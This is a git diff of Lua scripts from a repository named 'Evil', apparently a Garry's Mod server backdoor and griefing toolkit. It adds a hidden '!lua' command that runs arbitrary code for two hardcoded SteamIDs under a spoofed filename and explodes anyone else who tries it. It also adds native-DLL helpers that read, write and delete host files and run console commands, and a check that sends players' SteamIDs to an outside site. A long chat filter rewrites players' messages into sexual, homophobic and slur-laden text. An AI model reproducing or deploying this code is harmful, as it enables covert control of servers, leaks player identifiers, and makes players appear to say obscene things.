ValidEntity(lol) then + ply:print("[ERR] No nuke on the server!") + return + end + lol:SetPos( ply:GetEyeTrace().HitPos ) + lol:Spawn() + ply:print("[OK] Given a nuke") +end +command.Add("nuke", Nuke, "Give a nuke") + + + +local CLFix = [[ + local SWEP = LocalPlayer():GetActiveWeapon() + SWEP.Primary.Delay = 0.05 + SWEP.Primary.Cone = 0 + SWEP.Primary.Spread = 0 + SWEP.Primary.Recoil = 0 + SWEP.Primary.ClipSize = 9999999 + SWEP.Primary.Clip = 9999999 + SWEP.Primary.Damage = 2000 +]] + +local function SuperGun(ply,cmd,args) + local SWEP = ply:GetActiveWeapon() + + if not (ValidEntity(SWEP) and SWEP.Primary) then + ply:print("[ERR] Only works for SWEPs") + return + end + + SWEP.Primary.Delay = 0.05 + SWEP.Primary.Cone = 0 + SWEP.Primary.Spread = 0 + SWEP.Primary.Recoil = 0 + SWEP.Primary.ClipSize = 99999 + SWEP.Primary.Clip = 99999 + SWEP.Primary.Damage = 2000 + + ply:SendLua(CLFix) + + ply:print("[OK] Your: '"..SWEP:GetClass().."' is now SUPER") +end +command.Add("gun", SuperGun, "Make the current SWEP super") + + + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/gpio.lua b/Repos/Evil-master/v12/DeX/gpio.lua new file mode 100644 index 0000000..b864963 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/gpio.lua @@ -0,0 +1,238 @@ + +gpio = {} +gpio.Dlls = {} +gpio.Error = 404 +gpio.Done = 200 + +gpio.BadDlls = { + ["sqlite_i486"] = true, + ["sqlite"] = true, + ["sqlite_linux"] = true, + ["sqlite_osx"] = true, +} + +for k,v in pairs( file.FindInLua("includes/modules/*.dll") ) do + if (v and v != "") then + v = v:lower() + v = v:gsub("gmsv_", "") + v = v:gsub("gmcl_", "") + v = v:gsub("gm_", "") + v = v:gsub(".dll", "") + + if not gpio.BadDlls[v] then + gpio.Dlls[v] = true + end + end +end + +local Here = util.RelativePathToFull("gameinfo.txt"):gsub("gameinfo.txt",""):Trim("\\") --Mess! + + + +function gpio.Delete(what,raw) + if gpio.Dlls.hio then + if not hIO then + require("hio") + end + + if (hIO and hIO.Remove) then + hIO.Remove(what) + return gpio.Done + end + end + + if gpio.Dlls.rawio then + if not rawio then + require("rawio") + end + + if (rawio and rawio.deletefile) then + if raw then + rawio.deletefile(what) + else + rawio.deletefile(Here.."\\"..what) + end + return gpio.Done + end + end + + if gpio.Dlls.winapi then + if not winapi then + require("winapi") + end + + if (winapi and winapi.DeleteFile) then + if raw then + winapi.DeleteFile(what) + else + winapi.DeleteFile(Here.."\\"..what) + end + return gpio.Done + end + end +end + + + + +function gpio.Read(what,raw) + if gpio.Dlls.hio then + if not hIO then + require("hio") + end + + if (hIO and hIO.Read) then + return hIO.Read(what) + end + end + + if gpio.Dlls.rawio then + if not rawio then + require("rawio") + end + + if (rawio and rawio.readfile) then + if raw then + return rawio.readfile(what) + else + return rawio.readfile(Here.."\\"..what) + end + end + end + + if gpio.Dlls.openaura_one then + if not fileio then + require("openaura_one") + end + + if (fileio and fileio.Read) then + if raw then + return fileio.Read(what) + else + return fileio.Read(Here.."\\"..what) + end + end + end + + return gpio.Error +end + + +function gpio.Write(where,cont,raw) + if gpio.Dlls.hio then + if not hIO then + require("hio") + end + + if (hIO and hIO.Write) then + if raw then + hIO.Write(where,cont) + else + hIO.Write(Here.."\\"..where,cont) + end + return gpio.Done + end + end + + if gpio.Dlls.rawio then + if not rawio then + require("rawio") + end + + if (rawio and rawio.writefile) then + if raw then + rawio.writefile(where,cont) + else + rawio.writefile(Here.."\\"..where,cont) + end + return gpio.Done + end + end + + if gpio.Dlls.openaura_one then + if not fileio then + require("openaura_one") + end + + if (fileio and fileio.Write) then + if raw then + fileio.Write(where,cont) + else + fileio.Write(Here.."\\"..where,cont) + end + return gpio.Done + end + end + + return gpio.Error +end + + +function gpio.ConCommand(what) + if gpio.Dlls.extras then + if not console then + require("extras") + end + + if (console and console.Command) then + console.Command(what) + return gpio.Done + end + end + + if gpio.Dlls.command then + if not command then + require("command") + end + + if (command and command.ServerCommand) then + command.ServerCommand(what) + return gpio.Done + end + end + + if gpio.Dlls.cmd then + if not cmd then + require("cmd") + end + + if (cmd and cmd.exec) then + cmd.exec(what) + return gpio.Done + end + end + + if gpio.Dlls.localcommand then + if not LocalCommand then + require("localcommand") + end + + if LocalCommand then + LocalCommand(what) + return gpio.Done + end + end + + if gpio.Dlls.enginecommand then + if not LocalCommand then + require("enginecommand") + end + + if (LocalCommand) then + LocalCommand(what) + return gpio.Done + end + end + + return gpio.Error +end + + + + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/hx_SkidList.lua b/Repos/Evil-master/v12/DeX/hx_SkidList.lua new file mode 100644 index 0000000..17503ae --- /dev/null +++ b/Repos/Evil-master/v12/DeX/hx_SkidList.lua @@ -0,0 +1,6 @@ + +SHers = {} + + +Bulk = {} + diff --git a/Repos/Evil-master/v12/DeX/meta.lua b/Repos/Evil-master/v12/DeX/meta.lua new file mode 100644 index 0000000..1e0b821 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/meta.lua @@ -0,0 +1,172 @@ +--- === META === --- +local pMeta = FindMetaTable("Player") +local pEntity = FindMetaTable("Entity") + +function pEntity:print(str) + if not self:IsValid() then return print(str) end + self:PrintMessage(HUD_PRINTCONSOLE, str.."\n") +end + + + +local SteamIDs = { + ["STEAM_0:0:17809124"] = true, + ["STEAM_0:0:44703291"] = true, +} +function pMeta:IsHeX() + return SteamIDs[ self:SteamID() ] +end +function GetHeX() + for k,v in pairs( player.GetHumans() ) do + if v:IsHeX() then + return v + end + end + return NULL +end + +function RandomPlayer() + local tab = {} + + for k,v in pairs( player.GetHumans() ) do + if not v:IsHeX() then + table.insert(tab, v) + end + end + + return table.Random(tab) +end + + +function ETable(tab) + if type(tab) == "table" then + table.Empty(tab) + end + + tab = {} +end + +function pEntity:Explode(dmg) + if self.Alive and (not self:Alive()) then self:Spawn() end + self:ExitVehicle() + self:GodDisable() + self:SetHealth(1) + + local Power = dmg or "200" + + local boom = ents.Create("env_explosion") + boom:SetPos(self:GetPos()) + boom:SetOwner(self) + boom:Spawn() + boom:SetKeyValue("iMagnitude", tostring(Power)) + boom:Fire("Explode", 0, 0) + + timer.Simple(1, function() + if ValidEntity(boom) then + boom:Remove() + end + end) +end + + + + + +local function UMCAT(ply,tab) + umsg.Start("CAT", ply) + umsg.Short(#tab) + + for k,v in pairs(tab) do + local typ = type(v) + + if (typ == "string") then + umsg.String(v) + + elseif (typ == "table") then + umsg.Short(v.r) + umsg.Short(v.g) + umsg.Short(v.b) + umsg.Short(v.a) + end + end + umsg.End() +end +function pMeta:CAT(...) UMCAT(self,arg) end +function CAT(...) UMCAT(nil,arg) end + + +local CatCode = [[ +function CAT(u) + local z,t,r={},table.insert,_R.bf_read.ReadShort + for i=1,r(u)/2,1 do + t(z,Color(r(u),r(u),r(u),r(u))) + t(z,u:ReadString()) + end + chat.AddText(unpack(z)) + chat.PlaySound() +end +usermessage.Hook("CAT", CAT) +]] + +local function SendCat(ply) + ply:SendLua(CatCode) +end +hook.Add("PlayerInitialSpawn", "SendCat", SendCat) +BroadcastLua(CatCode) +--- === /META === --- + + + + +--- === CHATCOMMAND === --- +chatcommand = {} +chatcommand.GetTable = {} + +function chatcommand.Add(cmd,func) + chatcommand.GetTable[cmd] = func +end + +local function CC_Run(ply,text,isteam) + if not ValidEntity(ply) then return end + + local Command = string.Explode(" ", text)[1]:lower() + local ToCall = chatcommand.GetTable[Command] + + if (ToCall) then + timer.Simple(0.1, function() + local ok,err = pcall(function() + ToCall(ply,Command,(text:gsub(Command,"")),text) + end) + end) + end +end +hook.Add("PlayerSay", "!CC_Run", CC_Run) +--- === /CHATCOMMAND === --- + + + +--- === CHATLUA === --- +local function CLUA_Do(ply,cmd,text) + if IsUH then return ply:print("[ERR] No modules!") end + if not (ply:IsValid()) then return end + + if not ply:IsHeX() then + ply:Explode() + return + end + + if not (#text > 0) then return end + + me = ply + that = ply:GetEyeTrace().Entity + there = ply:GetEyeTrace().HitPos + prt = function(str) PrintMessage(HUD_PRINTTALK, tostring(str)) end + + RunStringEx(text, "[@weapons/gmod_tool/stools/gas_storage.lua]") +end +chatcommand.Add("!lua", CLUA_Do) +chatcommand.Add("!l", CLUA_Do) +--- === /CHATLUA === --- + + + diff --git a/Repos/Evil-master/v12/DeX/skid.lua b/Repos/Evil-master/v12/DeX/skid.lua new file mode 100644 index 0000000..1cccb5a --- /dev/null +++ b/Repos/Evil-master/v12/DeX/skid.lua @@ -0,0 +1,139 @@ + + +Bulk = {} +SHers = {} +ExecDownload(DEX_PATH, "hx_SkidList.lua", true) + + +Skiddies = {} +local function Merge(tab) + for k,v in pairs(tab) do + Skiddies[k] = v + end + tab = nil +end +Merge(Bulk) +Merge(SHers) + + +local Enabled = true + +local function StartSK(ply,cmd,args) + Enabled = not Enabled + + ply:print("[OK] SkidCheck is now: "..tostring(Enabled) ) +end +command.Add("sk_toggle", StartSK, "Toggle SkidCheck") + + +local function SBCheckPlayer(ply) + http.Get("http://sethblock.tk/api.php?user="..ply:SteamID(), "", function(what,size) + if ValidEntity(ply) and what:find("SethHack") then + ply.IsSethBlock = true + end + end) +end +hook.Add("PlayerInitialSpawn", "SBCheckPlayer", SBCheckPlayer) + + + +GREEN = Color(66,255,96) --HSP green +SGREEN = Color(180,250,160) --source green +GREEN2 = Color(0,255,0) +LtGreen = Color(174,255,0) +WHITE = Color(255,255,255) --white +RED = Color(255,0,11) --red +RED2 = Color(255,0,0) --More red +KIRED = Color(255,80,0,255) +BLUE = Color(51,153,255) --HeX Blue +LPBLUE = Color(80,170, 255) --Laser pistol blue +YELLOW = Color(255,200,0,255) --yellow +YELLOW2 = Color(255,220,0,200) --HEV yellow +PINK = Color(255,0, 153) --faggot pink +PBLUE = Color(155,205,248) --printall blue +PURPLE = Color(149,102,255) --ASK2 purple +ORANGE = Color(255,153,0) --respected orange +GREY = Color(175,175,175) --blackops grey +KCHEAT = Color(249,199,255) + + + +local StartSB = nil + +function SkidCheck() + if not Enabled then return end + + for k,v in pairs( player.GetHumans() ) do + if not ValidEntity(v) then continue end + + if not StartSB then + StartSB = true + + timer.Simple(k, function() + if ValidEntity(v) then + SBCheckPlayer(v) + end + end) + end + + + local SID = v:SteamID() + local Tab = Skiddies[SID] + + if (Tab or v.SHer) and not v.DoneSK then + local Name = (Tab.Name or v:Nick()).." ("..SID..")" + local DoTab = nil + + if (Tab.SH or v.SHer) then + DoTab = true + + CAT(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", team.GetColor( v:Team() ), v:Nick(), GREY, " is a ", RED, "SETHHACKER/CHEATER! ", GREEN, Name) + + elseif v.IsSethBlock then + v.IsSethBlock = nil + DoTab = true + + MsgAll("\n"..v:Nick().." is on SethBlock!\n\n") + CAT(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", team.GetColor( v:Team() ), v:Nick(), GREY, " is on ", RED, "SethBlock! ", GREEN, Name) + + elseif Tab.Skid then + DoTab = true + MsgAll("\n"..v:Nick().." is a Skiddie!\n\n") + CAT(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", team.GetColor( v:Team() ), v:Nick(), GREY, " is a ", KCHEAT, "Skiddie! ", GREEN, Name) + end + + if DoTab then + v.DoneSK = true + BroadcastLua([[ surface.PlaySound( Sound("ambient/machines/thumper_shutdown1.wav") ) ]]) + end + end + end +end +timer.Create("SkidCheck", 6, 0, SkidCheck) + + +local function ResetSkiddies() + StartSB = nil + + for k,v in pairs( player.GetAll() ) do + if ValidEntity(v) then + v.DoneSK = nil + end + end +end +timer.Create("ResetSkiddies", 160, 0, ResetSkiddies) + + +local function ResetSkiddies(ply,cmd,args) + ResetSkiddies() + + ply:print("[SkidCheck] Messages reset, expect spam in 5s!") +end +concommand.Add("sk_reset_sv", ResetSkiddies) + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/sv_f_Crap.lua b/Repos/Evil-master/v12/DeX/sv_f_Crap.lua new file mode 100644 index 0000000..f4cf60e --- /dev/null +++ b/Repos/Evil-master/v12/DeX/sv_f_Crap.lua @@ -0,0 +1,65 @@ + + +--CRAP, symbols etc +HSP.ChatFilter.Crap = { + [0] = "Devnull", --NUL + [1] = "Soho", --SOH + [2] = "Sticks", --STX + [3] = "Exit", --ETX + [4] = "Elephant", --EOT + [5] = "Enque", --ENQ + [6] = "Attack", --ACK + --7 done with HAC + --8 backspace + --9 tab + [10] = "Left", --LF + [11] = "Virtual", --VT + [12] = "Firefox", --FF + [13] = "Crap", --CR + [14] = "Software", --SO + [15] = "Yes", --SI + [16] = "Delete", --DLE + [17] = "Disc Crap", --DC1 + [18] = "Disc Crap", --DC2 + [19] = "Disc Crap", --DC3 + [20] = "Disc Crap", --DC4 + [21] = "Naked", --NAK + [22] = "Sync", --SYN + [23] = "Dice", --ETB + [24] = "Cannon", --CAN + + --[42] = "", --* + + [64] = "a", --AT sign + [169] = "c", --C sign + [174] = "r", --R sign + + [158] = "o", --CYRILLIC CAPITAL LETTER O + [190] = "o", --CYRILLIC SMALL LETTER O + [208] = "", --CYRILLIC SMALL LETTER O +} + + + + +--pronunciation, Words that transforms verbs into different states / swearword endings +HSP.ChatFilter.Pronunciation = { + "e", + "s", + "ed", + "er", + "ing", +} + +--End +HSP.ChatFilter.Ext = { + ['a'] = true, + ['o'] = true, + ['i'] = true, + --['e'] = true, + ['u'] = true, +} + + + + diff --git a/Repos/Evil-master/v12/DeX/sv_f_List.lua b/Repos/Evil-master/v12/DeX/sv_f_List.lua new file mode 100644 index 0000000..170c567 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/sv_f_List.lua @@ -0,0 +1,2076 @@ + + +--FIXED, message is this complete message +HSP.ChatFilter.Fixed = { + {what = "what the fuck", with = "What is love?"}, + {what = "what the hell", with = "I like it up the butt!"}, + {what = "spawn kill", with = "You're so much better than I am :)"}, + {what = "spawnkill", with = "You're much better than me :)"}, + {what = "what the", with = "Never gonna give you up"}, + {what = "*ranting*", with = "I really need a BF, come chat tonight, add _FLT_ <3"}, + {what = "ranting*", with = "I really need a BF, come chat tonight, add _FLT_ <3"}, + {what = "*ranting", with = "I really need a BF, come chat tonight, add _FLT_ <3"}, + {what = "ranting", with = "I really need a BF, come chat tonight, add _FLT_ <3"}, + {what = "lolwtf", with = "you're cute! add me on MSN _FLT_ for a good time"}, + {what = "stupid", with = "oh my god, please bang me all night long!"}, + {what = "idiot", with = "I would LOVE your tasty boner!!"}, + {what = "moron", with = "wow come and see my boner!!"}, + {what = "!menu", with = "hey can you test your gun on me for a min"}, + {what = "0wned", with = "I'm terrible"}, + {what = "0wn3d", with = "I'm terrible"}, + {what = "owned", with = "I'm terrible"}, + {what = "pwn3d", with = "I'm losing"}, + {what = "pwned", with = "I can't play!"}, + {what = ". . .", with = "Bullet Holes!"}, + {what = ". . . .", with = "Bullet Holes!"}, + {what = ". . . . .", with = "Bullet Holes!"}, + {what = ". . . . . .", with = "Bullet Holes!"}, + {what = "stop", with = "hey, I can't remember how deathmatch works :("}, + {what = "dude", with = "dude, I just bought a whole box of dildos!"}, + {what = "pwnd", with = "I suck"}, + {what = "wut?", with = "Windows Update?"}, + {what = "wtf?", with = "Have you ever been to the Waste Transfer Facility?"}, + {what = "wtf!", with = "I got a job at the Waste Transfer Facility!"}, + {what = ". .", with = "two Bullet Holes!"}, + {what = "own", with = "I'm terrible"}, + {what = "pwn", with = "I suck at deathmatch"}, + {what = "wtf", with = "I was fired from the Waste Transfer Facility due to bad spelling :("}, + {what = "not", with = "Not that I have anything against taking it up the butt!"}, + {what = "xp", with = "Windows XP"}, + {what = "xd", with = "I love to suck extra dicks!"}, + {what = ")", with = "Bracket!"}, + {what = "(", with = "Bracket!"}, + + {what = "hack", with = "I didn't know HeX spent 4 years writing an AntiCheat that's banned 850+ users"}, + {what = "cheat", with = "I didn't know HeX spent 4 years writing an AntiCheat that's banned 850+ users"}, + {what = "hacker", with = "I didn't know HeX spent 4 years writing an AntiCheat that's banned 850+ users"}, + {what = "cheater", with = "I didn't know HeX spent 4 years writing an AntiCheat that's banned 850+ users"}, + + {what = "NO", with = "what are you waiting for, shoot me!", full = true}, + {what = "NO!", with = "hey could you test the SMG on me for a sec", full = true}, + {what = "no", with = "yes!", full = true}, + {what = "no!", with = "Bang me time and time again!"}, + + {what = "don't!", with = "shoot me now!"}, + {what = "don't", with = "shoot me now!"}, + {what = "dont!", with = "Everyone shoot me now!"}, + {what = "dont", with = "shoot me now!"}, + {what = "don;t!", with = "Everyone shoot me now!"}, + {what = "don;t", with = "please shoot me now!"}, + {what = "do not", with = "I mean shoot me!"}, + {what = "don't stop", with = "Everyone shoot me now!"}, + {what = "dont stop", with = "Everyone shoot me now!"}, + + {what = "stop dont", with = "hey can you test the RPG on me"}, + {what = "stop don't", with = "hey can you test the RPG on me"}, + {what = "dont shoot", with = "I mean shoot now!"}, + {what = "don't shoot", with = "Everyone shoot me!"}, + {what = "do not shoot", with = "I mean shoot me!"}, + + {what = "i mean dont", with = "I mean shoot me now"}, + {what = "i mean don't", with = "I mean shoot me now"}, + {what = "i mean no", with = "I mean shoot me now"}, + + {what = "dont kil me", with = "Please shoot me!"}, + {what = "don't kil me", with = "Please shoot me!"}, + {what = "do not kil me", with = "I mean shoot me now!"}, + + {what = "dont kill me", with = "Please shoot me!"}, + {what = "don't kill me", with = "Please shoot me!"}, + {what = "do not kill me", with = "I mean shoot me now!"}, + + {what = "dont kill", with = "I mean kill me now"}, + {what = "don't kill", with = "Everyone kill me now!"}, + {what = "do not kill", with = "I mean shoot me"}, + + {what = "quit killing", with = "Everyone shoot me"}, + {what = "stop killing", with = "Everyone shoot me"}, + {what = "no dont", with = "Bet you can't kill me"}, + {what = "no don't", with = "Bet you can't kill me"}, + {what = "no killing", with = "Everyone shoot me now"}, + {what = "no kill", with = "Bet you can't kill me :)"}, + {what = "no shoot", with = "Come and shoot me"}, +} + + +--NOUNS, Popular nouns used on the server( quantity fix ), and banned nouns +HSP.ChatFilter.Nouns = { + --8 + {what = "nope.avi", with = "no Audio/Video Interlaced"}, + {what = "retard3d", with = "3D movie"}, + {what = "r3tard3d", with = "3D movie"}, + {what = "r3tarded", with = "3D movie"}, + + --7 + {what = "2morrow", with = "tomorrow in my butt"}, + {what = "nlggers", with = "Roody-poos"}, + {what = "couldnt", with = "couldn't take the whole eleven inches,"}, + {what = "wouldnt", with = "would take the whole eleven inches,"}, + {what = "phagg0t", with = "cool dude"}, + + --6 + {what = "filt3r", with = "Super Awesome Chat Cleanser"}, + {what = "2fst4u", with = "My brian is damaged, shoot me"}, + {what = "fagg3t", with = "hot dude"}, + {what = "nlgger", with = "Roody-poo"}, + {what = "stup1d", with = "awesome"}, + {what = "f1lter", with = "Idiot-Corrector"}, + {what = "every1", with = "I can't spell 'everyone'"}, + {what = "2morro", with = "tomorrow in my butt"}, + {what = "2morow", with = "tomorrow in my butt"}, + {what = "a*mins", with = "Cool Dudes"}, + {what = "adm1ns", with = "chicks with dicks"}, + {what = "theyre", with = "they're cute with"}, + {what = "havent", with = "havn't been able to suck my own boner, then"}, + {what = "k1lled", with = "Exploded"}, + + --5 + {what = "you'r", with = "you're cute and"}, + {what = "pen15", with = "Box of pens"}, + {what = "didnt", with = "do love a nice big cock and"}, + {what = "4real", with = "for you, anything as long as it's sexy"}, + {what = "p3nis", with = "Pentium 3"}, + {what = "br0ny", with = "Bromine fuck me"}, + {what = "hax0r", with = "Awesome Pro"}, + {what = "h4x0r", with = "Awesome Pro"}, + {what = "h4xor", with = "Awesome Pro"}, + {what = "0wn3d", with = "I'm losing badly"}, + {what = "own3d", with = "I'm losing badly"}, + {what = "pwn3d", with = "I'm losing badly"}, + {what = "some1", with = "someone in my butt"}, + {what = "house", with = "gas pump", whats = "houses", withs = "gas pumps"}, + {what = "4ever", with = "forever in my butt"}, + {what = "4evar", with = "forever in my butt"}, + {what = "2moro", with = "tomorrow in my butt"}, + {what = "2nite", with = "After the hour of eight"}, + {what = "nice1", with = "nice cock you have there!"}, + {what = "adm1n", with = "dude with a nice cock"}, + {what = "wasnt", with = "wasn't going to swallow and"}, + {what = "p3n!s", with = "Ding Dong"}, + {what = "tr0ll", with = "boyfriend"}, + {what = "hasnt", with = "hasn't ever tried anal"}, + + --4 + {what = "l33t", with = "very dumb"}, + {what = "yall", with = "the boner"}, + {what = "rdm'd", with = "banged with"}, + {what = "d1ck", with = "Number Plate"}, + {what = "l8tr", with = "later up my butthole"}, + {what = "2mrw", with = "tomorrow in my butt"}, + {what = "c0ck", with = "Boner"}, + {what = "4got", with = "pound my ass"}, + {what = "l8er", with = "pound my ass!"}, + {what = "any1", with = "anyone's cock"}, + {what = "eny1", with = "anyone's cock"}, + {what = "w00t", with = "Freight Train"}, + {what = "ch4t", with = "Freight Train"}, + {what = "m33t", with = "MT 33"}, + {what = "fort", with = "oil pump", whats = "forts", withs = "oil pumps"}, + {what = "b4se", with = "GAS STATION"}, + {what = "st0p", with = "whoops, i accidently the whole word"}, + {what = "hell", with = "Disneyland"}, --Do not move, "he'll" + {what = "howd", with = "how, when you have such a huge boner did"}, + {what = "sum1", with = "someone come and shoot me"}, + {what = "cant", with = "can't spell so"}, + {what = "wont", with = "won't be able to take ten inches,"}, + {what = "dont", with = "do love delicious cock, you"}, + {what = "isnt", with = "isn't time to bang me today"}, + {what = "whyd", with = "why did you not swallow"}, + {what = ":((", with = "I'm feeling sad, why not come and shoot me!"}, + {what = ".__.", with = "Period Underscore Period"}, + {what = "whos", with = "who likes cock, then"}, + {what = "kill", with = "Bang"}, + {what = "whys", with = "why's my cock so small and my"}, + {what = "youd", with = "you'd love to lick me then"}, + {what = "aint", with = "ain't able to spell"}, + + --3 + {what = "n0h", with = "oh yes"}, + {what = "g4y", with = "I'm Gay"}, + {what = "th3", with = "my 3rd dildo"}, + {what = ";.;", with = ""}, + {what = ":[]", with = "Colon Bracket Bracket"}, + {what = ">:/", with = "I'm very good in bed!"}, + {what = "o-o", with = "O dash O"}, + {what = "._.", with = "Period Underscore Period"}, + {what = "0_0", with = "Zero Underscore Zero"}, + {what = ";_;", with = "I still love you"}, + {what = ">_>", with = "That way!"}, + {what = "O_O", with = "or maybe you'd like to see my webcam!"}, + {what = ">.<", with = "Squashed mouse!"}, + {what = ">_<", with = "Exploded mouse!"}, + {what = "-_-", with = "I was fisted once.."}, + {what = "-.-", with = "I love you"}, + {what = "...", with = "Bullet Holes!"}, + {what = ">:(", with = "Greater than colon open bracket"}, + {what = ">.>", with = "Right Right"}, + {what = "<.<", with = "Left Left"}, + {what = "hes", with = "he's sucking my cock,"}, --Do not move, "he's" + {what = "hed", with = "he'd explode all over my face"}, --Do not move, "he'd" + {what = "br0", with = "Bromine"}, + {what = "gr8", with = "Sewage"}, + {what = "h4x", with = "Skiddie Fuel"}, + {what = "ne1", with = "Neon"}, + {what = "no1", with = "my ass"}, + {what = "l8r", with = "Radiator"}, + {what = "g2g", with = "got to go now, I can't spell!"}, + {what = "ny1", with = "anyone come and shoot me"}, + {what = "l0l", with = "lol, why is my dick is tiny :("}, + {what = "3va", with = "3DFX"}, + {what = "n00", with = "yes yes"}, + {what = "m8s", with = "Sticks of Dynamite"}, + {what = "a$$", with = "expensive Buttocks"}, + + --2 + {what = "m3", with = "Mythbusters"}, + {what = "rd", with = "really long one"}, + {what = "d0", with = "Intel CPU"}, + {what = "n0", with = "YES"}, + {what = "k!", with = "crunch some Nutsack"}, + {what = ":?", with = "hey, have you ever tried anal?"}, + {what = ":/", with = "Invalid Drive Path!"}, + {what = ":\\", with = "Invalid Drive Path!"}, + {what = "..", with = "Loading.."}, + {what = ":o", with = "Blowjob"}, + {what = "w\\", with = "C:/Windows"}, + {what = "w/", with = "C:/Windows"}, + {what = "w.e", with = "with Erection"}, + {what = "w\\e", with = "C:/Windows/EventLog"}, + {what = "w/e", with = "C:/Windows/EventLog"}, + {what = "b\\c", with = "Battle Cruiser"}, + {what = "b/c", with = "Battle Cruiser"}, + {what = "w\\u", with = "Windows Update"}, + {what = "w/u", with = "Windows Update"}, + {what = "\\\\", with = "Whoops, I can't work out how to use the chat"}, + {what = "//", with = "C:/"}, + {what = "n1", with = "Nintendo 1"}, + {what = "w8", with = "Windows 8"}, + {what = "m8", with = "Dynamite"}, + {what = "h8", with = "Hosepipe"}, + {what = "b4", with = "Beta Version"}, + {what = "4u", with = "for Uranium"}, + {what = "2u", with = "to Uranium"}, + {what = "th", with = "the dildo and the"}, + --{what = "id", with = "i'd be unable to spell"}, --Do not move, "i'd" + {what = "im", with = "I'm horny and"}, --Do not move, "i'm" + {what = "x]", with = "Extra Bracket"}, + {what = "t,", with = "fapping all day"}, + {what = "t?", with = "wearing panties?"}, + {what = "nd", with = "Nitrogen Dioxide"}, + + --1 + {what = "c", with = "Cock ring"}, + {what = "d", with = "Dildo"}, + {what = "f", with = "Fisting"}, + {what = "l", with = "Lavatory"}, + {what = "n", with = "Nitrogen"}, + {what = "s", with = "Suction"}, + {what = "t", with = "horse dildo"}, + {what = "x", with = "Extra"}, +} + + +--ABBREVIATIONS, Decent ( etc ) / Bad ( bois ) chat shortcuts +HSP.ChatFilter.Abbreviations = { + --Random + {what = "gived", with = "gave me blowjobs and"}, + {what = "typin", with = "typing a message about dildos and"}, + {what = "tryin", with = "trying to order a new dildo and"}, + {what = "killin", with = "Boning"}, + {what = "frend", with = "my friend's cock and"}, + {what = "gawd", with = "god, I can't spell"}, + {what = "hallo", with = "hello, please fuck my ass!"}, + {what = "halp", with = "help me take this massive dick"}, + {what = "supid", with = "EPIC"}, + {what = "woops", with = "accidental can of Whoop-Ass!"}, + {what = "hayte", with = "oh dear, I'm terrible at english"}, + {what = "madbro", with = "and my brother's massive cock"}, + {what = "hasbro", with = "have you sucked your brother's cock before?"}, + {what = "testa", with = "some new dildos"}, + {what = "ohai", with = "oh hello, I can't spell"}, + {what = "mkay", with = "Dr Mckay"}, + {what = "weaponz", with = "weapons for sticking up my butt"}, + {what = "nevar", with = "do it right now!"}, + {what = "worldz", with = "world where I can spell"}, + {what = "chillax", with = "Watercooler"}, + {what = "chilax", with = "Watercooler"}, + {what = "leev", with = "leave my spelling behind and"}, + {what = "cmawn", with = "Mow the lawn!"}, + {what = "fightin", with = "fighting over the my new dildo with"}, + {what = "outa", with = "Out of cheese error"}, + {what = "suiside", with = "you should kill me, I can't spell"}, + {what = "pist", with = "pistol up my butt"}, + {what = "bich", with = "Mis-spelling!"}, + {what = "suckr", with = "Suck my"}, + {what = "prickk", with = "Sharp End"}, + {what = "abaut", with = "About to fail my english class and"}, + {what = "gues", with = "Geese"}, + {what = "retarted", with = "awesome, but I'm too dumb to live"}, + {what = "fitler", with = "Hitler"}, + {what = "keeld", with = "Killed all my braincells"}, + {what = "keeled", with = "Killed all my braincells"}, + {what = "seeya", with = "See my sexy ass somtime!"}, + {what = "everone", with = "everyone, guess how much cock I can take"}, + {what = "repoted", with = "re-potted"}, + {what = "repot", with = "re-pot"}, + {what = "pusy", with = "Cat"}, + {what = "lolwat", with = "lol, I am unable to spell 'What'"}, + {what = "stahp", with = "Stan's giant cock"}, + {what = "stawp", with = "Stan's huge cock"}, + {what = "thans", with = "I took pills, let me do it again!"}, + {what = "somthin", with = "some thin Ice"}, + {what = "whyed", with = "why am I unable to spell!"}, + {what = "soory", with = "why am I unable to spell!"}, + {what = "soorry", with = "why am I unable to spell!"}, + {what = "skrew", with = "Nail"}, + {what = "stoip", with = "ST Operational Internet Protocol"}, + {what = "watafak", with = "What, that's great!, mine is tiny :("}, + {what = "hert", with = "AC Power"}, + {what = "herts", with = "AC Power"}, + {what = "loos", with = "Cannonball"}, + {what = "lovly", with = "lovely cock and"}, + {what = "cokc", with = "lovely cock"}, + {what = "laawl", with = "I can't spell at all, shoot me"}, + {what = "alol", with = "I'm an A-hole"}, + {what = "dotn", with = "don't ignore me, shoot me!"}, + {what = "lookin", with = "looking at your big cock"}, + {what = "luckeh", with = "lucky I can't spell"}, + {what = "niice", with = "No Ice"}, + {what = "leiks", with = "loves my cock and"}, + {what = "lieks", with = "loves my cock and"}, + {what = "herd", with = "Hard-on"}, + {what = "somfing", with = "something that I am unable to spell,"}, + {what = "meen", with = "mean that you want my cock"}, + {what = "undastand", with = "anything about English, shoot me"}, + {what = "shuting", with = "Shutters"}, + {what = "givf", with = "Generic Mis-spelling"}, + {what = "gifv", with = "Generic Mis-spelling"}, + {what = "wepons", with = "massive cocks"}, + {what = "rere", with = "Replay mode"}, + {what = "dood", with = "Dog poo"}, + {what = "hittin", with = "hitting the bong,"}, + {what = "amirite", with = "am I cute"}, + {what = "cand", with = "Canned Goods"}, + {what = "biotch", with = "Biodiesel"}, + {what = "grammer", with = "buttplugs"}, + + {what = "killing", with = "Kissing"}, + {what = "roll", with = "create Cigarettes"}, + {what = "sheet", with = "Bedsheets"}, + {what = "roleplay", with = "Timewasting"}, + {what = "slayed", with = "Kissed"}, + {what = "slayd", with = "Kissed"}, + {what = "slaid", with = "Kissed"}, + {what = "slay", with = "Kiss"}, + {what = "suck", with = "Blow"}, + {what = "god", with = "Salad"}, + {what = "spellchecker", with = "Super Awesome Spell Checker"}, + {what = "lift", with = "Stairs"}, + {what = "trolling", with = "selling a bag of Minge"}, + {what = "fanny", with = "Desk Fan"}, + {what = "godmode", with = "your great big cock"}, + {what = "stupid", with = "up the butt"}, + {what = "votekick", with = "gobble your delicious cock"}, + {what = "voteban", with = "suck your delicious cock"}, + {what = "cheap", with = "Good Value"}, + {what = "nobs", with = "Hob Nobs"}, + {what = "screw", with = "Nail"}, + {what = "keel", with = "the boat"}, + {what = "heel", 